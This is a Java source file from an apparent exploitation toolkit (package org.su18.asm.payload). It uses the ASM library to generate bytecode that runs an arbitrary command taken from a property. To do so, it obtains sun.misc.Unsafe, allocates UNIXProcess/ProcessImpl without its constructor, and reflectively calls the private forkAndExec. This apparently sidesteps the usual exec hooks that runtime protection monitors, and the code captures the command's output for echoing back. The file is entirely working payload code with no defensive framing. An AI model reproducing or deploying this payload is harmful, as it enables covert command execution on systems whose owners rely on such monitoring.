package org.su18.asm.payload;

import org.objectweb.asm.Label;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;
import org.su18.utils.StringUtil;

public class Command implements Opcodes {

	public static void insert(String className, MethodVisitor mv) {
		String[] command = StringUtil.getCurrentPropertiesValue("command").split(" ");

		Label label0 = new Label();
		Label label1 = new Label();
		Label label2 = new Label();
		mv.visitTryCatchBlock(label0, label1, label2, "java/lang/ClassNotFoundException");
		Label label3 = new Label();
		Label label4 = new Label();
		Label label5 = new Label();
		mv.visitTryCatchBlock(label3, label4, label5, "java/lang/Exception");
		Label label6 = new Label();
		mv.visitLabel(label6);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V", false);
		mv.visitLabel(label3);
		mv.visitInsn(command.length + 3);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/String");

		int iConst = ICONST_0;
		for (String s : command) {
			mv.visitInsn(DUP);
			mv.visitInsn(iConst);
			mv.visitLdcInsn(s);
			mv.visitInsn(AASTORE);
			iConst += 1;
		}
		mv.visitVarInsn(ASTORE, 1);
		Label label7 = new Label();
		mv.visitLabel(label7);
		mv.visitLdcInsn(Type.getType("Lsun/misc/Unsafe;"));
		mv.visitLdcInsn("theUnsafe");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredField", "(Ljava/lang/String;)Ljava/lang/reflect/Field;", false);
		mv.visitVarInsn(ASTORE, 2);
		Label label8 = new Label();
		mv.visitLabel(label8);
		mv.visitVarInsn(ALOAD, 2);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setAccessible", "(Z)V", false);
		Label label9 = new Label();
		mv.visitLabel(label9);
		mv.visitVarInsn(ALOAD, 2);
		mv.visitInsn(ACONST_NULL);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "get", "(Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "sun/misc/Unsafe");
		mv.visitVarInsn(ASTORE, 3);
		Label label10 = new Label();
		mv.visitLabel(label10);
		mv.visitInsn(ACONST_NULL);
		mv.visitVarInsn(ASTORE, 4);
		mv.visitLabel(label0);
		mv.visitLdcInsn("java.lang.UNIXProcess");
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
		mv.visitVarInsn(ASTORE, 4);
		mv.visitLabel(label1);
		Label label11 = new Label();
		mv.visitJumpInsn(GOTO, label11);
		mv.visitLabel(label2);
		mv.visitFrame(Opcodes.F_FULL, 5, new Object[]{className, "[Ljava/lang/String;", "java/lang/reflect/Field", "sun/misc/Unsafe", "java/lang/Class"}, 1, new Object[]{"java/lang/ClassNotFoundException"});
		mv.visitVarInsn(ASTORE, 5);
		Label label12 = new Label();
		mv.visitLabel(label12);
		mv.visitLdcInsn("java.lang.ProcessImpl");
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Class", "forName", "(Ljava/lang/String;)Ljava/lang/Class;", false);
		mv.visitVarInsn(ASTORE, 4);
		mv.visitLabel(label11);
		mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
		mv.visitVarInsn(ALOAD, 3);
		mv.visitVarInsn(ALOAD, 4);
		mv.visitMethodInsn(INVOKEVIRTUAL, "sun/misc/Unsafe", "allocateInstance", "(Ljava/lang/Class;)Ljava/lang/Object;", false);
		mv.visitVarInsn(ASTORE, 5);
		Label label13 = new Label();
		mv.visitLabel(label13);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitInsn(ARRAYLENGTH);
		mv.visitInsn(ICONST_1);
		mv.visitInsn(ISUB);
		mv.visitTypeInsn(ANEWARRAY, "[B");
		mv.visitVarInsn(ASTORE, 6);
		Label label14 = new Label();
		mv.visitLabel(label14);
		mv.visitVarInsn(ALOAD, 6);
		mv.visitInsn(ARRAYLENGTH);
		mv.visitVarInsn(ISTORE, 7);
		Label label15 = new Label();
		mv.visitLabel(label15);
		mv.visitInsn(ICONST_0);
		mv.visitVarInsn(ISTORE, 8);
		Label label16 = new Label();
		mv.visitLabel(label16);
		mv.visitFrame(Opcodes.F_FULL, 9, new Object[]{className, "[Ljava/lang/String;", "java/lang/reflect/Field", "sun/misc/Unsafe", "java/lang/Class", "java/lang/Object", "[[B", Opcodes.INTEGER, Opcodes.INTEGER}, 0, new Object[]{});
		mv.visitVarInsn(ILOAD, 8);
		mv.visitVarInsn(ALOAD, 6);
		mv.visitInsn(ARRAYLENGTH);
		Label label17 = new Label();
		mv.visitJumpInsn(IF_ICMPGE, label17);
		Label label18 = new Label();
		mv.visitLabel(label18);
		mv.visitVarInsn(ALOAD, 6);
		mv.visitVarInsn(ILOAD, 8);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitVarInsn(ILOAD, 8);
		mv.visitInsn(ICONST_1);
		mv.visitInsn(IADD);
		mv.visitInsn(AALOAD);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "getBytes", "()[B", false);
		mv.visitInsn(AASTORE);
		Label label19 = new Label();
		mv.visitLabel(label19);
		mv.visitVarInsn(ILOAD, 7);
		mv.visitVarInsn(ALOAD, 6);
		mv.visitVarInsn(ILOAD, 8);
		mv.visitInsn(AALOAD);
		mv.visitInsn(ARRAYLENGTH);
		mv.visitInsn(IADD);
		mv.visitVarInsn(ISTORE, 7);
		Label label20 = new Label();
		mv.visitLabel(label20);
		mv.visitIincInsn(8, 1);
		mv.visitJumpInsn(GOTO, label16);
		mv.visitLabel(label17);
		mv.visitFrame(Opcodes.F_CHOP, 1, null, 0, null);
		mv.visitVarInsn(ILOAD, 7);
		mv.visitIntInsn(NEWARRAY, T_BYTE);
		mv.visitVarInsn(ASTORE, 8);
		Label label21 = new Label();
		mv.visitLabel(label21);
		mv.visitInsn(ICONST_0);
		mv.visitVarInsn(ISTORE, 9);
		Label label22 = new Label();
		mv.visitLabel(label22);
		mv.visitVarInsn(ALOAD, 6);
		mv.visitVarInsn(ASTORE, 10);
		mv.visitVarInsn(ALOAD, 10);
		mv.visitInsn(ARRAYLENGTH);
		mv.visitVarInsn(ISTORE, 11);
		mv.visitInsn(ICONST_0);
		mv.visitVarInsn(ISTORE, 12);
		Label label23 = new Label();
		mv.visitLabel(label23);
		mv.visitFrame(Opcodes.F_FULL, 13, new Object[]{className, "[Ljava/lang/String;", "java/lang/reflect/Field", "sun/misc/Unsafe", "java/lang/Class", "java/lang/Object", "[[B", Opcodes.INTEGER, "[B", Opcodes.INTEGER, "[[B", Opcodes.INTEGER, Opcodes.INTEGER}, 0, new Object[]{});
		mv.visitVarInsn(ILOAD, 12);
		mv.visitVarInsn(ILOAD, 11);
		Label label24 = new Label();
		mv.visitJumpInsn(IF_ICMPGE, label24);
		mv.visitVarInsn(ALOAD, 10);
		mv.visitVarInsn(ILOAD, 12);
		mv.visitInsn(AALOAD);
		mv.visitVarInsn(ASTORE, 13);
		Label label25 = new Label();
		mv.visitLabel(label25);
		mv.visitVarInsn(ALOAD, 13);
		mv.visitInsn(ICONST_0);
		mv.visitVarInsn(ALOAD, 8);
		mv.visitVarInsn(ILOAD, 9);
		mv.visitVarInsn(ALOAD, 13);
		mv.visitInsn(ARRAYLENGTH);
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/System", "arraycopy", "(Ljava/lang/Object;ILjava/lang/Object;II)V", false);
		Label label26 = new Label();
		mv.visitLabel(label26);
		mv.visitVarInsn(ILOAD, 9);
		mv.visitVarInsn(ALOAD, 13);
		mv.visitInsn(ARRAYLENGTH);
		mv.visitInsn(ICONST_1);
		mv.visitInsn(IADD);
		mv.visitInsn(IADD);
		mv.visitVarInsn(ISTORE, 9);
		Label label27 = new Label();
		mv.visitLabel(label27);
		mv.visitIincInsn(12, 1);
		mv.visitJumpInsn(GOTO, label23);
		mv.visitLabel(label24);
		mv.visitFrame(Opcodes.F_CHOP, 3, null, 0, null);
		mv.visitInsn(ICONST_1);
		mv.visitIntInsn(NEWARRAY, T_INT);
		mv.visitVarInsn(ASTORE, 10);
		Label label28 = new Label();
		mv.visitLabel(label28);
		mv.visitInsn(ICONST_3);
		mv.visitIntInsn(NEWARRAY, T_INT);
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_0);
		mv.visitInsn(ICONST_M1);
		mv.visitInsn(IASTORE);
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_1);
		mv.visitInsn(ICONST_M1);
		mv.visitInsn(IASTORE);
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_2);
		mv.visitInsn(ICONST_M1);
		mv.visitInsn(IASTORE);
		mv.visitVarInsn(ASTORE, 11);
		Label label29 = new Label();
		mv.visitLabel(label29);
		mv.visitVarInsn(ALOAD, 4);
		mv.visitLdcInsn("launchMechanism");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredField", "(Ljava/lang/String;)Ljava/lang/reflect/Field;", false);
		mv.visitVarInsn(ASTORE, 12);
		Label label30 = new Label();
		mv.visitLabel(label30);
		mv.visitVarInsn(ALOAD, 4);
		mv.visitLdcInsn("helperpath");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredField", "(Ljava/lang/String;)Ljava/lang/reflect/Field;", false);
		mv.visitVarInsn(ASTORE, 13);
		Label label31 = new Label();
		mv.visitLabel(label31);
		mv.visitVarInsn(ALOAD, 12);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setAccessible", "(Z)V", false);
		Label label32 = new Label();
		mv.visitLabel(label32);
		mv.visitVarInsn(ALOAD, 13);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "setAccessible", "(Z)V", false);
		Label label33 = new Label();
		mv.visitLabel(label33);
		mv.visitVarInsn(ALOAD, 12);
		mv.visitVarInsn(ALOAD, 5);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "get", "(Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitVarInsn(ASTORE, 14);
		Label label34 = new Label();
		mv.visitLabel(label34);
		mv.visitVarInsn(ALOAD, 13);
		mv.visitVarInsn(ALOAD, 5);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Field", "get", "(Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "[B");
		mv.visitTypeInsn(CHECKCAST, "[B");
		mv.visitVarInsn(ASTORE, 15);
		Label label35 = new Label();
		mv.visitLabel(label35);
		mv.visitVarInsn(ALOAD, 14);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Object", "getClass", "()Ljava/lang/Class;", false);
		mv.visitLdcInsn("ordinal");
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ALOAD, 14);
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "java/lang/Integer");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Integer", "intValue", "()I", false);
		mv.visitVarInsn(ISTORE, 16);
		Label label36 = new Label();
		mv.visitLabel(label36);
		mv.visitVarInsn(ALOAD, 4);
		mv.visitLdcInsn("forkAndExec");
		mv.visitIntInsn(BIPUSH, 10);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_0);
		mv.visitFieldInsn(GETSTATIC, "java/lang/Integer", "TYPE", "Ljava/lang/Class;");
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_1);
		mv.visitLdcInsn(Type.getType("[B"));
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_2);
		mv.visitLdcInsn(Type.getType("[B"));
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_3);
		mv.visitLdcInsn(Type.getType("[B"));
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_4);
		mv.visitFieldInsn(GETSTATIC, "java/lang/Integer", "TYPE", "Ljava/lang/Class;");
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_5);
		mv.visitLdcInsn(Type.getType("[B"));
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitIntInsn(BIPUSH, 6);
		mv.visitFieldInsn(GETSTATIC, "java/lang/Integer", "TYPE", "Ljava/lang/Class;");
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitIntInsn(BIPUSH, 7);
		mv.visitLdcInsn(Type.getType("[B"));
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitIntInsn(BIPUSH, 8);
		mv.visitLdcInsn(Type.getType("[I"));
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitIntInsn(BIPUSH, 9);
		mv.visitFieldInsn(GETSTATIC, "java/lang/Boolean", "TYPE", "Ljava/lang/Class;");
		mv.visitInsn(AASTORE);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ASTORE, 17);
		Label label37 = new Label();
		mv.visitLabel(label37);
		mv.visitVarInsn(ALOAD, 17);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "setAccessible", "(Z)V", false);
		Label label38 = new Label();
		mv.visitLabel(label38);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitInsn(ICONST_0);
		mv.visitInsn(AALOAD);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/String", "getBytes", "()[B", false);
		mv.visitVarInsn(ASTORE, 18);
		Label label39 = new Label();
		mv.visitLabel(label39);
		mv.visitVarInsn(ALOAD, 18);
		mv.visitInsn(ARRAYLENGTH);
		mv.visitInsn(ICONST_1);
		mv.visitInsn(IADD);
		mv.visitIntInsn(NEWARRAY, T_BYTE);
		mv.visitVarInsn(ASTORE, 19);
		Label label40 = new Label();
		mv.visitLabel(label40);
		mv.visitVarInsn(ALOAD, 18);
		mv.visitInsn(ICONST_0);
		mv.visitVarInsn(ALOAD, 19);
		mv.visitInsn(ICONST_0);
		mv.visitVarInsn(ALOAD, 18);
		mv.visitInsn(ARRAYLENGTH);
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/System", "arraycopy", "(Ljava/lang/Object;ILjava/lang/Object;II)V", false);
		Label label41 = new Label();
		mv.visitLabel(label41);
		mv.visitVarInsn(ALOAD, 19);
		mv.visitVarInsn(ALOAD, 19);
		mv.visitInsn(ARRAYLENGTH);
		mv.visitInsn(ICONST_1);
		mv.visitInsn(ISUB);
		mv.visitInsn(ICONST_0);
		mv.visitInsn(BASTORE);
		Label label42 = new Label();
		mv.visitLabel(label42);
		mv.visitVarInsn(ALOAD, 17);
		mv.visitVarInsn(ALOAD, 5);
		mv.visitIntInsn(BIPUSH, 10);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_0);
		mv.visitVarInsn(ILOAD, 16);
		mv.visitInsn(ICONST_1);
		mv.visitInsn(IADD);
		Label label43 = new Label();
		mv.visitLabel(label43);
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Integer", "valueOf", "(I)Ljava/lang/Integer;", false);
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_1);
		mv.visitVarInsn(ALOAD, 15);
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_2);
		mv.visitVarInsn(ALOAD, 19);
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_3);
		mv.visitVarInsn(ALOAD, 8);
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_4);
		mv.visitVarInsn(ALOAD, 6);
		mv.visitInsn(ARRAYLENGTH);
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Integer", "valueOf", "(I)Ljava/lang/Integer;", false);
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_5);
		mv.visitInsn(ACONST_NULL);
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitIntInsn(BIPUSH, 6);
		mv.visitVarInsn(ALOAD, 10);
		mv.visitInsn(ICONST_0);
		mv.visitInsn(IALOAD);
		Label label44 = new Label();
		mv.visitLabel(label44);
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Integer", "valueOf", "(I)Ljava/lang/Integer;", false);
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitIntInsn(BIPUSH, 7);
		mv.visitInsn(ACONST_NULL);
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitIntInsn(BIPUSH, 8);
		mv.visitVarInsn(ALOAD, 11);
		mv.visitInsn(AASTORE);
		mv.visitInsn(DUP);
		mv.visitIntInsn(BIPUSH, 9);
		mv.visitInsn(ICONST_0);
		mv.visitMethodInsn(INVOKESTATIC, "java/lang/Boolean", "valueOf", "(Z)Ljava/lang/Boolean;", false);
		mv.visitInsn(AASTORE);
		Label label45 = new Label();
		mv.visitLabel(label45);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "java/lang/Integer");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Integer", "intValue", "()I", false);
		mv.visitVarInsn(ISTORE, 20);
		Label label46 = new Label();
		mv.visitLabel(label46);
		mv.visitVarInsn(ALOAD, 4);
		mv.visitLdcInsn("initStreams");
		mv.visitInsn(ICONST_1);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_0);
		mv.visitLdcInsn(Type.getType("[I"));
		mv.visitInsn(AASTORE);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getDeclaredMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ASTORE, 21);
		Label label47 = new Label();
		mv.visitLabel(label47);
		mv.visitVarInsn(ALOAD, 21);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "setAccessible", "(Z)V", false);
		Label label48 = new Label();
		mv.visitLabel(label48);
		mv.visitVarInsn(ALOAD, 21);
		mv.visitVarInsn(ALOAD, 5);
		mv.visitInsn(ICONST_1);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitInsn(DUP);
		mv.visitInsn(ICONST_0);
		mv.visitVarInsn(ALOAD, 11);
		mv.visitInsn(AASTORE);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitInsn(POP);
		Label label49 = new Label();
		mv.visitLabel(label49);
		mv.visitVarInsn(ALOAD, 4);
		mv.visitLdcInsn("getInputStream");
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Class");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Class", "getMethod", "(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;", false);
		mv.visitVarInsn(ASTORE, 22);
		Label label50 = new Label();
		mv.visitLabel(label50);
		mv.visitVarInsn(ALOAD, 22);
		mv.visitInsn(ICONST_1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "setAccessible", "(Z)V", false);
		Label label51 = new Label();
		mv.visitLabel(label51);
		mv.visitVarInsn(ALOAD, 22);
		mv.visitVarInsn(ALOAD, 5);
		mv.visitInsn(ICONST_0);
		mv.visitTypeInsn(ANEWARRAY, "java/lang/Object");
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/reflect/Method", "invoke", "(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;", false);
		mv.visitTypeInsn(CHECKCAST, "java/io/InputStream");
		mv.visitVarInsn(ASTORE, 23);
		Label label52 = new Label();
		mv.visitLabel(label52);
		mv.visitTypeInsn(NEW, "java/io/ByteArrayOutputStream");
		mv.visitInsn(DUP);
		mv.visitMethodInsn(INVOKESPECIAL, "java/io/ByteArrayOutputStream", "<init>", "()V", false);
		mv.visitVarInsn(ASTORE, 24);
		Label label53 = new Label();
		mv.visitLabel(label53);
		mv.visitIntInsn(SIPUSH, 1024);
		mv.visitIntInsn(NEWARRAY, T_BYTE);
		mv.visitVarInsn(ASTORE, 26);
		Label label54 = new Label();
		mv.visitLabel(label54);
		mv.visitFrame(Opcodes.F_FULL, 27, new Object[]{className, "[Ljava/lang/String;", "java/lang/reflect/Field", "sun/misc/Unsafe", "java/lang/Class", "java/lang/Object", "[[B", Opcodes.INTEGER, "[B", Opcodes.INTEGER, "[I", "[I", "java/lang/reflect/Field", "java/lang/reflect/Field", "java/lang/Object", "[B", Opcodes.INTEGER, "java/lang/reflect/Method", "[B", "[B", Opcodes.INTEGER, "java/lang/reflect/Method", "java/lang/reflect/Method", "java/io/InputStream", "java/io/ByteArrayOutputStream", Opcodes.TOP, "[B"}, 0, new Object[]{});
		mv.visitVarInsn(ALOAD, 23);
		mv.visitVarInsn(ALOAD, 26);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/InputStream", "read", "([B)I", false);
		mv.visitInsn(DUP);
		mv.visitVarInsn(ISTORE, 25);
		Label label55 = new Label();
		mv.visitLabel(label55);
		mv.visitInsn(ICONST_M1);
		Label label56 = new Label();
		mv.visitJumpInsn(IF_ICMPEQ, label56);
		Label label57 = new Label();
		mv.visitLabel(label57);
		mv.visitVarInsn(ALOAD, 24);
		mv.visitVarInsn(ALOAD, 26);
		mv.visitInsn(ICONST_0);
		mv.visitVarInsn(ILOAD, 25);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/ByteArrayOutputStream", "write", "([BII)V", false);
		mv.visitJumpInsn(GOTO, label54);
		mv.visitLabel(label56);
		mv.visitFrame(Opcodes.F_FULL, 27, new Object[]{className, "[Ljava/lang/String;", "java/lang/reflect/Field", "sun/misc/Unsafe", "java/lang/Class", "java/lang/Object", "[[B", Opcodes.INTEGER, "[B", Opcodes.INTEGER, "[I", "[I", "java/lang/reflect/Field", "java/lang/reflect/Field", "java/lang/Object", "[B", Opcodes.INTEGER, "java/lang/reflect/Method", "[B", "[B", Opcodes.INTEGER, "java/lang/reflect/Method", "java/lang/reflect/Method", "java/io/InputStream", "java/io/ByteArrayOutputStream", Opcodes.INTEGER, "[B"}, 0, new Object[]{});
		mv.visitVarInsn(ALOAD, 0);
		mv.visitVarInsn(ALOAD, 24);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/io/ByteArrayOutputStream", "toString", "()Ljava/lang/String;", false);
		mv.visitFieldInsn(PUTFIELD, className, "result", "Ljava/lang/String;");
		mv.visitLabel(label4);
		Label label58 = new Label();
		mv.visitJumpInsn(GOTO, label58);
		mv.visitLabel(label5);
		mv.visitFrame(Opcodes.F_FULL, 1, new Object[]{className}, 1, new Object[]{"java/lang/Exception"});
		mv.visitVarInsn(ASTORE, 1);
		Label label59 = new Label();
		mv.visitLabel(label59);
		mv.visitVarInsn(ALOAD, 1);
		mv.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Exception", "printStackTrace", "()V", false);
		mv.visitLabel(label58);
		mv.visitFrame(Opcodes.F_SAME, 0, null, 0, null);
		mv.visitVarInsn(ALOAD, 0);
		mv.visitMethodInsn(INVOKEVIRTUAL, className, "echo", "()V", false);
		Label label60 = new Label();
		mv.visitLabel(label60);
		mv.visitInsn(RETURN);
		Label label61 = new Label();
		mv.visitLabel(label61);
		mv.visitLocalVariable("e", "Ljava/lang/ClassNotFoundException;", null, label12, label11, 5);
		mv.visitLocalVariable("i", "I", null, label16, label17, 8);
		mv.visitLocalVariable("arg", "[B", null, label25, label27, 13);
		mv.visitLocalVariable("strs", "[Ljava/lang/String;", null, label7, label4, 1);
		mv.visitLocalVariable("theUnsafeField", "Ljava/lang/reflect/Field;", null, label8, label4, 2);
		mv.visitLocalVariable("unsafe", "Lsun/misc/Unsafe;", null, label10, label4, 3);
		mv.visitLocalVariable("processClass", "Ljava/lang/Class;", null, label0, label4, 4);
		mv.visitLocalVariable("processObject", "Ljava/lang/Object;", null, label13, label4, 5);
		mv.visitLocalVariable("args", "[[B", null, label14, label4, 6);
		mv.visitLocalVariable("size", "I", null, label15, label4, 7);
		mv.visitLocalVariable("argBlock", "[B", null, label21, label4, 8);
		mv.visitLocalVariable("i", "I", null, label22, label4, 9);
		mv.visitLocalVariable("envc", "[I", null, label28, label4, 10);
		mv.visitLocalVariable("std_fds", "[I", null, label29, label4, 11);
		mv.visitLocalVariable("launchMechanismField", "Ljava/lang/reflect/Field;", null, label30, label4, 12);
		mv.visitLocalVariable("helperpathField", "Ljava/lang/reflect/Field;", null, label31, label4, 13);
		mv.visitLocalVariable("launchMechanismObject", "Ljava/lang/Object;", null, label34, label4, 14);
		mv.visitLocalVariable("helperpathObject", "[B", null, label35, label4, 15);
		mv.visitLocalVariable("ordinal", "I", null, label36, label4, 16);
		mv.visitLocalVariable("forkMethod", "Ljava/lang/reflect/Method;", null, label37, label4, 17);
		mv.visitLocalVariable("bytes", "[B", null, label39, label4, 18);
		mv.visitLocalVariable("result2", "[B", null, label40, label4, 19);
		mv.visitLocalVariable("pid", "I", null, label46, label4, 20);
		mv.visitLocalVariable("initStreamsMethod", "Ljava/lang/reflect/Method;", null, label47, label4, 21);
		mv.visitLocalVariable("getInputStreamMethod", "Ljava/lang/reflect/Method;", null, label50, label4, 22);
		mv.visitLocalVariable("in", "Ljava/io/InputStream;", null, label52, label4, 23);
		mv.visitLocalVariable("baos", "Ljava/io/ByteArrayOutputStream;", null, label53, label4, 24);
		mv.visitLocalVariable("a", "I", null, label55, label4, 25);
		mv.visitLocalVariable("b", "[B", null, label54, label4, 26);
		mv.visitLocalVariable("e", "Ljava/lang/Exception;", null, label59, label58, 1);
		mv.visitLocalVariable("this", "L" + className + ";", null, label6, label61, 0);
	}

}
